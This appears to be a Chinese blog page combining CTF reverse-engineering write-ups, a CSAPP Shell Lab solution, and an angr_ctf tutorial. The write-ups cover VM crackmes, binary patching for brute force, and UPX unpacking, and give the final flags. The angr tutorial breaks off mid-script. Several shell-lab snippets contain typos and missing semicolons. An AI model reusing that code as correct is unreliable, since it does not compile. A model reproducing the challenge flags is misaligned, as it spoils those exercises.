看到while(1)和switch 再根据题目名称,可知道这是个类似VM的东西,而根据docode变量可知第一站经过的便是右下角图中的函数,作用是把flag括起来的32个长度内容两两拼接成十六进制数,一共变成16个;

然后便是对不同指令码对应操作进行翻译:

do

逻辑就是每次经过AA开始判断,如果错误就退出程序,直到走完全部的code码就算成功;

把翻译的写成代码然后用z3来解:(重要代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s = Solver()
flag = [BitVec('flag[%d]' % i,64) for i in range(16)]

def check():
global ip
global code
global ex
if ip + 2 >= 374 :
print('ip out of range')
exit(0)
s.add(ex[code[ip+1]] == ex[code[ip+2]])

if ip >= 374:
if s.check() == sat:
print(s.model())
break
else:
print('no')
break

解出数字后换成十六进制再拼写在一起便得到:PCL{bdcc4f46d73ec09ee628633d2f227b47}

5.analgo

IDA:

main

第一眼看去会和上道题很像,也是类似虚拟机的构造,v23是指令,main_anal函数是虚拟机函数,下面的十六进制数是比较数据,判断输入的长度是42;

但是由于这个VM反编译出很多控制数不好分析各个指令码在做什么,同时发现输入是包含flag{}的,且每输入一个,比较结果也对应的变换一个,称之为一一对应;(蓝线是对应关系)

company

可以看到随着 flag{ 的输入,每输入一个,RCX 和 RDX 就相同一个字节;

那么可以使用之前hgame中 hardasm 题目的解法,将加密后的RCX值输出,与比较数据判断从而爆破;

patch0

先把判断搞掉,全nop,直接进入输出 wrong(SecondBC) 的地方;之后修改原程序比较的地方,改为将加密数据放到 SecondBC 这个地方:

patch1

但因为 SecondBC 是 rdata段的,拥有只读权限,所以要修改权限:

change

搜索 .rdata,将 40 00 00 40 改为 40 00 00 C0;

之后写代码爆破:(使用subprocess模组)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import subprocess

ans = 'this is answer' '''比较数据'''
hexs = '0123456789abcdef-' '''约束范围,输入其他的程序会提前退出'''
hexs = list(hexs)
for i in range(17):
hexs[i] = ord(hexs[i])

real_flag="flag{"
cur_index = 5 '''当前位置'''
k = 0

while cur_index < 42:
for i in hexs:
real_flag_arr = [0] * 42

for j in range(len(real_flag)): '''爆破储存位置'''
real_flag_arr[j] = ord(real_flag[j])
real_flag_arr[len(real_flag_arr)-1] = ord("}")

for j in range(len(real_flag_arr)-2,cur_index,-1):
real_flag_arr[j] = 48 '''未知位填充0'''

real_flag_arr[cur_index] = i
real_flag_arr_s = ''.join(chr(k) for k in real_flag_arr)
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\analgo.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode()) '''输入程序'''
p.stdin.close()
out = p.stdout.read() '''读取输出'''
out = list(out)

if (out[k] == ans[k] ):
real_flag += chr(i)
k += 1
cur_index += 1
print(real_flag)
break

由于这个程序是 8字节 8字节来比较的,所以手动多调几次,传入之前先 add rsi 8 获取之后的加密数据;

然后每轮都改下cur_index += 8;

然后得到:flag{568a3cdd-77e1-4c42-9fee-127e27a5744e}

6.puzzle

一开始发现是个加壳程序,跑一遍发现和UPX加壳很像,一开始是循环解码,然后进入原入口;用PE也显示其为UPX加壳,但是提示不能用指令脱壳;

使用十六进制查看器发现原UPX标记处被改为了vmp,将其改回并用指令对其脱壳;

unpack

之后进去过后看IDA:

main

在scanf之后的是一段循环,通过调试可以知道,这里允许通过 0 ~ 9 字符,并且一共输入56个,否则失败;

这段循环将输入的56个数字放到一些地址里,而地址原来就有些数据;填完之后一共是 9*9 = 81个数据;

然后来到判断 judge 函数,这里它将这81个内容作为参数传入;

经过调试呢,可以发现,输入的内容中,有些是不能重复的,而且不能有 0 ;这可以让想起数独游戏;

把里面给的数据拿出来做成 9 * 9 的数独表,然后进行求解:

solve

解出输入的56个内容为:76135283549798674164925733849217386455934161872359295314

输入源程序之后,便得到: flag{23c3cb3aedbbfdd009d1bf52e530676a}

阅读全文
Shell_Lab

壳实验,对应于csapp第8章,异常控制流;根据其提示可知,该实验要求编写一个完整的简单的壳;

在完成之后,有许多的检测关卡等待壳的成果;

实际上,此实验已经将大部分内容编写完毕,只要求完成7个函数的构造来完整壳即可;

这7个函数都是有关于信号,以及异常处理的;

现在来先说说这7个函数的大致功能以及目的:

  1. eval:解析和解释命令行的主例程;

  2. builtin_cmd:识别并解释内置命令;

    • 内置命令:

    • quit:退出shell;

    • fg:发送 SIGCONT(继续)来重启 job,位于前台运行;(前台只允许1个job运行)

    • bg:发送 SIGCONT(继续)来重启 job,位于后台运行;

    • jobs:列出所有后台作业;

  3. do_bgfg:执行bg和fg指令;

  4. waitfg:等待前台作业完成;

  5. sigchld_handler:SIGCHLD(子程序退出)信号处理;

  6. sigint_handler:SIGINT(中断)信号处理;

  7. sigtstp_handler:SIGTSTP(暂停)信号处理;

辅助的已有函数:

  • parseline:解析命令行构建argv列表;
  • clearjob:清除job结构体中的内容;
  • initjobs:初始化job列表;
  • maxjid:返回允许的最大job ID;
  • addjob:添加一个作业到job列表;
  • deletejob:从job列表中删除pid的作业;
  • fgpid:返回前台job的pid;
  • getjobpid:根据pid从job列表中找到作业;
  • getjobjid:根据job ID从job列表中找到作业;
  • pid2jid:根据pid返回对应jid;
  • listjobs:显示job列表;

之后有经典的实验约束规则:

  • 提示符为:tsh>
  • 用户键入的命令行应包含一个名称和零个或多个参数,所有参数均由一个或多个空格分隔。 如果名称是内置命令,则shell应该立即处理它并等待下一个命令行;否则,shell应该假定名称是可执行文件的路径,它在初始子进程的上下文中加载并运行;
  • shell不用支持管道或I/O重定向;
  • 输入 ctrl-c 导致 SIGINT (输入 ctrl-z 导致 SIGTSTP)发送到当前前台作业以及该作业的任何后代,如果没有前台作业,那么信号没有效果;
  • 如果命令行以 & 结束,则shell应该在后台运行作业,否则它将在前台运行该作业;
  • 每个作业都可以通过进程ID(PID)或作业ID(JID)进行标识,该ID是tsh分配的正整数;
  • shell支持内置命令;
  • shell应该回收所有僵死子进程,如果任何作业由于接收到未捕获到的信号而终止,则shell应该识别此事件并打印一条消息,其中包含该作业的PID和有问题的信号的描述;

先来看Shell的主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int main(int argc, char **argv) 
{
char c;
char cmdline[MAXLINE];
int emit_prompt = 1; /* emit prompt (default) */

/* Redirect stderr to stdout (so that driver will get all output
* on the pipe connected to stdout) */
dup2(1, 2);

/* Parse the command line */
while ((c = getopt(argc, argv, "hvp")) != EOF) {
switch (c) {
case 'h': /* print help message */
usage();
break;
case 'v': /* emit additional diagnostic info */
verbose = 1;
break;
case 'p': /* don't print a prompt */
emit_prompt = 0; /* handy for automatic testing */
break;
default:
usage();
}
}

/* Install the signal handlers */

/* These are the ones you will need to implement */
Signal(SIGINT, sigint_handler); /* ctrl-c */
Signal(SIGTSTP, sigtstp_handler); /* ctrl-z */
Signal(SIGCHLD, sigchld_handler); /* Terminated or stopped child */

/* This one provides a clean way to kill the shell */
Signal(SIGQUIT, sigquit_handler);

/* Initialize the job list */
initjobs(jobs);

/* Execute the shell's read/eval loop */
while (1) {

/* Read command line */
if (emit_prompt) {
printf("%s", prompt);
fflush(stdout);
}
if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin))
app_error("fgets error");
if (feof(stdin)) { /* End of file (ctrl-d) */
fflush(stdout);
exit(0);
}

/* Evaluate the command line */
eval(cmdline);
fflush(stdout);
fflush(stdout);
}

exit(0); /* control never reaches here */
}

第一个while是在选择模式;输入h参数显示提示,输入v参数发出附加诊断信息,输入p不显示命令行;

之后需要捕获信号,就需要通过Signal函数将信号和对应处理函数绑定,然后进入第二个while使用eval一条一条地重复解析输入的内容;

I . Eval

第一解析命令行,可以套用parseline函数来帮忙,并根据结尾符号是否为 & 来判断前后台关系;

第二要做到的,查看解析出的 argv[0] 是否为内置命令,是,则转交给builtin_cmd函数,不是则创建子进程来运行;之后在shell中通过 addjob 来添加作业,如果是前台作业,就等待前台作业运行完毕,如果是后台作业,就执行解析下一条命令;

由此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void eval(char *cmdline)
{
static char array[MAXLINE];
char *buf = array; //cmdline容器
char *argv[MAXARGS]; //命令行参数
int bg; //前后台?
pid_t pid; //进程id
sigset_t mask, prev, all; //阻塞块

strcpy(buf,cmdline);
bg = parseline(buf,argv);

if(argv[0]==NULL)
return;

if(!builtin_cmd(argv)) //是否内置命令
{
sigemptyset(&mask); //清空mask块
sigaddset(&mask,SIGCHLD); //添加SIGCHLD到mask
sigfillset(&all); //所有信号进入all块
sigprocmask(SIG_BLOCK,&mask,&prev) //阻塞SIGCHLD信号,防止addjob和deletejob竞争

if((pid = fork()) == 0) //子进程
{
fflush(sdout); //printf("in process:%d\n",pid);
setpgid(0,0); //更换子进程进程组,以免和shell冲突
sigprocmask(SIG_SETMASK,&prev,NULL)
if(execve(argv[0],agrv,environ) < 0) //通过execve加载到子进程
{
printf("%s: Command not found\n", argv[0]);
exit(0);
}
}

//printf("parent:%d\n",getpid());
sigprocmask(SIG_BLOCK,&all,NULL) //访问job列表需阻塞所有信号
addjob(jobs,pid,bg?BG:FG,buf);
sigprocmask(SIG_SETMASK,&prev,NULL) //解除阻塞

if(bg)
printf("[%d] (%d) %s", pid2jid(pid), pid, buf);
else
waitfg(pid);
}
}

需要注意的有两点:

  • 阻塞SIGCHLD信号以防止addjob与deletejob竞争;
  • 访问全局数据jobs列表前阻塞所有信号;

为什么要在fork创建进程之前阻塞SIGCHLD呢?因为fork的进程可能在任意时刻暂停或终止;使得Shell跳转通过对应信号去处理程序,并在信号处理中对该作业进行修改;如果在 addjob 之前跳转,则会由于未保存该作业而导致错误,所以需要在fork之前阻塞,并在子进程中取消阻塞;

设置独立的进程组与Shell分开,以免Shell接收到的其他例如 ctrl-c 之类的信号而导致进程受到影响;

其次,从安全信号处理的角度,在修改读取jobs时如果不阻塞所有信号,则会有可能中断而导致jobs的各部分状态不同;

II . builtin_cmd

第一,前面可以知道用这个函数套用在eval里,使得分辨是否为内置命令,所以让内置命令返回1,而非内置命令返回0;

第二,已知这个函数会用于bg和fg的内置命令,所以可以套用do_bgfg的函数;

那么代码就可知了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int builtin_cmd(char **argv)
{
if(!strcmp(argv[0],"quit"))
exit(0);
if(!strcmp(argv[0],"jobs"))
{
listjobs(jobs);
return 1;
}
if(!strcmp(argv[0],"&"))
return 1;
if((!strcmp(argv[0],"bg")) || (!strcmp(argv[0],"fg")))
{
do_bgfg(argv);
return 1;
}
return 0;
}

III . do_bgfg

根据之前提到的,需要用用到SIGCONT信号,那么也需要使用kill来发送给整个进程组;

在这之前需要修改job结构的状态;

而在修改前台或者后台的再之前,需要寻找到这个工作的ID或者pid;

由此代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void do_bgfg(char **argv)
{
int jid;
pid_t pid;
struct job_t *job; //单独的job指针
sigset_t mask,prev; //修改job之前阻塞所有信号

if(argv[1] == NULL)
{
printf("%s command requires PID or %%jobid argument\n",argv[0]);
return;
}

if(sscanf(argv[1],"%%%d",&jid) > 0)
{
job = getjobjid(jobs,jid);
if(job == NULL || job->state == UNDEF)
{
printf("%s: No such job\n", argv[1]);
return;
}
}
else if(sscanf(argv[1],"%d",&pid) > 0)
{
job = getjobpid(jobs, pid);
if(job == NULL || job->state == UNDEF)
{
printf("(%s): No such process\n", argv[1]);
return;
}
}
else
{
printf("%s: argument must be a PID or %%jobid\n", argv[0]);
return;
}
//上面的都是在排除异常情况

//修改job状态
sigfillset(&mask);
sigprocmask(SIG_BLOCK,&mask,&prev);

if(!strcmp(argv[0], "fg"))
job->state = FG;
else
job->state = BG;

sigprocmask(SIG_SETMASK,&prev,NULL);

pid = job->pid;
kill(-pid,SIGCONT); //负的则发送给进程组
if(!strcmp(argv[0], "fg"))
waitfg(pid);
else
printf("[%d] (%d) %s", job->jid, pid, job->cmdline);
}

IV . waitfg

等待前台作业完成就使用sleep挂起:

1
2
3
4
5
void waitfg(pid_t pid)
{
while(pid == fgpid(jobs))
sleep(1);
}

V . sigint_handler

当使用 Ctrl+c ,内核发送中断信号给这个Shell程序,而Shell程序通过kill发送信号给子进程,而停止信号也同理;

1
2
3
4
5
6
7
8
void sigint_handler(int sig){
int old_errno = errno; //首先需要保存原始的errno
pid_t pid = fgpid(jobs);
if(pid!=0)
kill(-pid,sig);

errno = old_errno;
}

保存之前的errno并在返回时重新赋值,是为了防止它被改变;

VI . sigstp_handler

1
2
3
4
5
6
7
8
void sigtstp_handler(int sig){
int old_errno = errno; //首先需要保存原始的errno
pid_t pid = fgpid(jobs);
if(pid!=0)
kill(-pid,sig);

errno = old_errno;
}

VII . sigchld_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void sigchld_handler(int sig)
{
int old_errno = errno; //首先需要保存原始的errno
pid_t pid;
sigset_t mask, prev;
int state; //保存waitpid的状态,用来判断子进程是终止还是停止
struct job_t *job;

sigfillset(&mask);
//由于信号不存在队列,而waitpid一次只会回收一个子进程,所以用while
while((pid = waitpid(-1, &state, WNOHANG | WUNTRACED)) > 0) //要检查停止和终止的,并且不要卡在这个循环中
{
//对全局结构变量jobs进行修改时,要阻塞所有信号
sigprocmask(SIG_BLOCK, &mask, &prev);
if(WIFEXITED(state)) //子进程通过调用exit或return正常终止,需要从jobs中删除该作业
{
deletejob(jobs, pid);
}
else if(WIFSIGNALED(state)) //子进程因为一个未捕获的信号终止
{
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(state));
deletejob(jobs, pid);
}
else if(WIFSTOPPED(state)) //如果子进程是停止的,需要修改改作业的状态
{
job = getjobpid(jobs, pid);
job->state = ST;
printf("Job [%d] (%d) stopped by signal %d\n", job->jid, pid, WSTOPSIG(state));
}
sigprocmask(SIG_SETMASK, &prev, NULL); //恢复信号接收
}
errno = old_errno;
}

总结:

这个实验主要是考察了安全信号处理内容,以及竞争关系;

帮助疏通了对Shell的理解:接受指令,处理指令,以及增加进程和如何回收进程;

对于小方向的话便是细节的考虑,阻塞顺序以及分类情况;

阅读全文
Angr.Lab

EldenRing

介绍:

angr是一款针对于CTF的工具,说实话并不觉的它对复杂的逆向程序有什么更优的作用;

它的常用功能则是根据使用者自己写的求解约束,附加在程序上计算如何输入进而求出得到的效果来获取正确输入,类似一款爆破计算器;

如何下载呢? 终端输入 -> pip install angr;

具体的练习上手题则需要去GitHub上搜寻:https://github.com/jakespringer/angr_ctf;

主要内容:

Project -> 附加的程序,在angr里叫项目;

State -> 状态,模拟的PC所指;

Simulation -> 模拟空间,为状态不断更新使程序执行指令,模拟运行所提供空间;

Explore -> 模拟运行程序并附加内容;

这4个便是angr使用的主要内容,基本解题脚本都离不开这4个,接下来就用GitHub上的题目来一一解释使用方法,以及进阶内容;

00_angr_find

IDA分析:

main

一个很简单的函数,按照介绍所说,需要让angr帮忙计算出输入的内容就是这里的比较数据:FPQPMQXT;那要怎么去写约束得到正确的输入呢?当然是要让状态走到输出’Good Job.’这一条,而不能走向’Try again.’;如此一来输入只能是比较数据;所以找到这条指令的地址:

address

接下来就可以写执行脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys
import angr

def main(argv):
# 目标文件的路径
path_to_binary = '../program/00_angr_find'
# 创建angr项目
project = angr.Project(path_to_binary)

# 设置项目起点,entry_state代表程序的入口点,即main函数
initial_state = project.factory.entry_state()
# 设置模拟器
simulation = project.factory.simgr(initial_state)

# 设置目标地址
print_good_addr = 0x0804867D
simulation.explore(find=print_good_addr)

# 如果到达目标地址,打印此时的符号向量
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
# 否者抛出失败异常
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main(sys.argv)

小结:

运用sys库是需要得到标准输入 -> sys.stdin.fileno() ;

angr.Project(执行的二进制文件地址) -> 打开二进制文件;

project.factory.entry_state() -> 创建空白的执行环境;

project.factory.simgr(上下文对象) -> 创建模拟器;

simulation.explore(find = 搜索程序执行路径的地址) -> 执行路径探索;

01_angr_avoid

这道题和00其实很像,只是在main函数里塞了很多大量的垃圾代码,直接用find输出正确的地址就找不到;

看到maybe_good函数:

function

以及在main函数里经常出现的avoid_me函数:

function

可以知道,如果进入了avoid_me后,再进入maybe_good就与输出Good Job无缘了,所以在寻找怎样输入才能导致输出正确的时候,可以再加一个约束,约束状态不要进入avoid_me;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import sys
import angr

def main(argv):
# 目标文件的路径
path_to_binary = '../program/01_angr_avoid'
# 创建angr项目
project = angr.Project(path_to_binary)

# 设置项目起点,entry_state代表程序的入口点,即main函数
initial_state = project.factory.entry_state()
# 设置模拟器
simulation = project.factory.simgr(initial_state)

# 设置目标地址
print_good_addr = 0x080485E0
aovid_me_addr = 0x080485A8

# simulation.explore(find=print_good_addr)
# avoid=try_again_addr
# 在这里可以添加 avoid 来约束到达的目的地址
simulation.explore(find=print_good_addr, avoid=aovid_me_addr)
# 如果到达目标地址,打印此时的符号向量
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
# 否者抛出失败异常
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main(sys.argv)

小结:

simulation.explore(find = 要搜索的路径地址, avoid = 要排除执行路径地址) -> 路径探索

simulation.found -> 搜索结果集合,这是一个python list 对象

02_angr_find_condition

IDA:

main

与00比较,在进行判断字符串的时候进行了一次运算,而在汇编层可以看到 puts(“Good Job.”) 这条指令来自很多地址,被混淆打乱了:

Xrefs

所以这次不能用 find=地址 来得到要找到的正确输入了;所以需要构建explore() 函数的回调函数;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import angr

# 到达目标地址,打印此时的符号向量
def good_job(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job' in str(stdout_output)

# 否则抛出失败异常
def try_again(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again' in str(stdout_output)

def main(argv):
path_to_binary = './02_angr_find_condition'
# 创建angr项目
project = angr.Project(path_to_binary)
# 设置项目起点,entry_state代表程序的入口点,即main函数
initial_state = project.factory.entry_state()
# 设置模拟器
simulation = project.factory.simgr(initial_state)
# 设置目标地址
simulation.explore(find=good_job, avoid=try_again)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main(sys.argv)

小结:

simulation.explore(find = 回调函数, avoid = 回调函数) -> 路径探索

explore() 函数的回调函数格式为:

def recall_explore(state) :

​ …

​ return True / False # True 意思是发现了该路径,False 则是忽略

state.posix.dumps(sys.stdout.fileno()) -> 获取模拟执行的控制台输出

03_angr_symbolic_registers

IDA:

main

这次让输入三次内容,三次经过不同的加密,最后经过 if 判断来找结果;

汇编层:

asam

虽然伪代码显示v5,v6,v8都变量都是栈里的数据,但汇编层显示出,它们是由寄存器eax,ebx,edx搬运进栈后才会是对应栈数据;

那么已知运算结果(怎样是正确的输出),以及运算过程由angr自己去运行;那么就需要设未知数进行求解,把寄存器设为未知数的过程,便称为符号化寄存器,也可以叫变量化寄存器;这一步就类似于Z3里的设置未知变量模型了;

这里需要用到一个库:claripy,下载angr自带的;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import angr
import claripy

def main():
binary_path = '../program/03_angr_symbolic_registers'
project = angr.Project(binary_path)

# 设置项目开始地址
start_addr = 0x0804890E
initial_state = project.factory.blank_state(addr=start_addr)


# 将寄存器符号化
bit_length = 32
psd0 = claripy.BVS('psd0', bit_length)
psd1 = claripy.BVS('psd1', bit_length)
psd2 = claripy.BVS('psd2', bit_length)
# 将符号化的寄存器对应到相应的寄存器
initial_state.regs.eax = psd0
initial_state.regs.ebx = psd1
initial_state.regs.edx = psd2
# 设置模拟
simulation = project.factory.simgr(initial_state)

def good_job(state):
stdout_content = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_content

def fail(state):
stdout_content = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_content

simulation.explore(find=good_job, avoid=fail)

if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.se.eval(psd0)
solution1 = solution_state.se.eval(psd1)
solution2 = solution_state.se.eval(psd2)

solution = '%x %x %x' % (solution0, solution1, solution2)
print(solution)
else:
raise Exception('Could not find the solution')

if __name__ == '__main__':
main()

小结:

project.factory.blank_state(addr=start_address) -> 创建自定义入口的状态上下文

initial_state.regs -> 操作状态上下文的寄存器

claripy.BVS(‘变量名’, 变量大小) -> 创建求解变量

solution_state.se.eval(变量) -> 求解符号变量

solution = ‘%x %x %x’ % (solution0, solution1, solution2) -> 标准输出格式

04_angr_symbolic_stack

IDA:

function

这个函数是main里的唯一一个指令;查看汇编可以发现v1,v2变量不是由寄存器传到栈上,是直接输入的栈上的,那么这次做的便是符号化栈;将栈上的数据设置为未知数,所以需要去平衡栈;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import angr
import claripy


def main():
binary_path = './04_angr_symbolic_stack'
project = angr.Project(binary_path)

start_addr = 0x08048697 #scanf之后的地址
initial_state = project.factory.blank_state(addr=start_addr)

initial_state.regs.ebp = initial_state.regs.esp # 初始化栈,令ebp等于esp

password0 = claripy.BVS('password0', 32) # 初始化两个位向量
password1 = claripy.BVS('password1', 32)

padding_length_in_bytes = 8 # 填充栈,8字节,2个int数据
initial_state.regs.esp -= padding_length_in_bytes

initial_state.stack_push(password0) # 将位向量压入栈中
initial_state.stack_push(password1)

simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution0 = solution_state.se.eval(password0)
solution1 = solution_state.se.eval(password1)

solution = '%u %u' % (solution0, solution1)
print(solution)
else:
raise Exception('could not find the solution')

if __name__ == '__main__':
main()

05_angr_symbolic_memory

IDA:

main

发现这次输入的内容被存到了4个地方,这4个地方都是.bss段上的内存(unk开头的指针以及user_input),之后计算并比较;和之前2题一样,这次需要的是符号化内存;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import angr
import sys
import claripy
from Crypto.Util.number import long_to_bytes

def main():
binary_path = './05_angr_symbolic_memory'
project = angr.Project(binary_path)

start_addr = 0x08048601
initial_state = project.factory.blank_state(addr=start_addr)

password0 = claripy.BVS('password0', 64) # 64 = 8(8个字符) * 1(每个字符一字节) * 8(每个字节8比特)
password1 = claripy.BVS('password1', 64)
password2 = claripy.BVS('password2', 64)
password3 = claripy.BVS('password3', 64)

password0_addr = 0x09FD92A0
password1_addr = 0x09FD92A8
password2_addr = 0x09FD92B0
password3_addr = 0x09FD92B8

initial_state.memory.store(password0_addr, password0) # 将位向量存入内存
initial_state.memory.store(password1_addr, password1)
initial_state.memory.store(password2_addr, password2)
initial_state.memory.store(password3_addr, password3)

simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution0 = solution_state.se.eval(password0)
solution1 = solution_state.se.eval(password1)
solution2 = solution_state.se.eval(password2)
solution3 = solution_state.se.eval(password3)
solution = long_to_bytes(solution0)+b' '+long_to_bytes(solution1)+b' '+long_to_bytes(solution2)+b' '+long_to_bytes(solution3)
print(solution.decode())
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main()

小结:

initial_state.memory.store(地址,数据) -> 初始化内存地址中的数据

long_to_byte函数 -> 规范输出

06_angr_symbolic_dynamic_memory

IDA:

main

可以看到这次用了malloc分配了动态内存,而scanf输入则直接放到了这些内存上,下面步骤都和之前一样,所以这次要做的就是符号化动态内存;但动态内存没有固定的地址,所以需要用到buffer在.bss段上的指针;Angr可以不用创建新内存(malloc),直接指向内存中一个任意位置即可;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import angr
import claripy
from Crypto.Util.number import long_to_bytes

def main():
binary_path = '../program/06_angr_symbolic_dynamic_memory'
project = angr.Project(binary_path)

start_addr = 0x08048699
initial_state = project.factory.blank_state(addr=start_addr)

password0 = claripy.BVS('password0', 64)
password1 = claripy.BVS('password1', 64)
fake0_addr = 0x09FD9160 # 伪造malloc得来的内存
fake1_addr = 0x09FD9180

buffer0_addr = 0x09FD92AC # 指向伪造内存的指针
buffer1_addr = 0x09FD92B4
initial_state.memory.store(buffer0_addr, fake0_addr, endness=project.arch.memory_endness) # 将指针指向伪造的内存
initial_state.memory.store(buffer1_addr, fake1_addr, endness=project.arch.memory_endness)

initial_state.memory.store(fake0_addr, password0) # 将伪造的内存符号化
initial_state.memory.store(fake1_addr, password1)

simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution0 = solution_state.se.eval(password0)
solution1 = solution_state.se.eval(password1)

solution = long_to_bytes(solution0) + b' ' + long_to_bytes(solution1)
print(solution)
print(solution.decode())
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main()

小结:

initial_state.memory.store(地址,数据,endness = 数据字节顺序) -> 设置初始化内存数据

project.arch.memory_endness -> 指的是内存字节顺序

07_angr_symbolic_file

IDA:

main

ignore_me函数:

ignore_me

输入的内容先保存到buffer里,接着用ignore_me函数将buffer里的内容存到叫做MRXJKZYR.txt的新建文件里;之后返回到主函数,初始化buffer;然后打开这个新建文件,读取里面的内容再到buffer里,最后运算比较;这次需要做的便是符号化文件;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys
import angr
import claripy
from Crypto.Util.number import long_to_bytes

def main():
binary_path = '../program/07_angr_symbolic_file'
project = angr.Project(binary_path)

start_addr = 0x080488EA

filename = 'MRXJKZYR.txt' # 文件名称
symbolic_file_size_bytes = 64 # 文件大小(字节)

password = claripy.BVS('password', symbolic_file_size_bytes * 8) # 初始化位向量
password_file = angr.SimFile(filename, content=password, size=symbolic_file_size_bytes) # 符号化文件

initial_state = project.factory.blank_state(addr=start_addr, fs={filename: password_file}) # 再初始状态中添加一个虚拟的文件系统
simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution = long_to_bytes(solution_state.solver.eval(password))
print(solution.decode())
else:
raise Exception('Could not find solution')

if __name__ == '__main__':
main()

小结:

angr.storage.SimFile(文件名,文件内容, size = 文件大小) -> 创建一个模拟文件,当有被执行的程序fopen 打开文件时,可以控制其里面的内容

initial_state.posix.fs -> 状态上下文的文件系统对象

08_angr_constraints

IDA:

main

输入字串后进行加密,之后经过检查函数判断;

这次可以控制输入的内容最后导致password地址的字串是否变为了正确的;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
import angr
import claripy
from Crypto.Util.number import long_to_bytes

def main():
binary_path = './08_angr_constraints'
project = angr.Project(binary_path)

start_addr = 0x08048625 # 在输入函数之后
initial_state = project.factory.blank_state(addr=start_addr)

password = claripy.BVS('password', 16*8)
password_addr = 0x0804A050
initial_state.memory.store(password_addr, password)

simulation = project.factory.simgr(initial_state)

addr_to_check_constraint = 0x08048669 # 在检查函数之前
simulation.explore(find=addr_to_check_constraint)

if simulation.found:
solution_state = simulation.found[0]

constrained_parameter_addr = 0x0804A050 # 加密后的password的地址
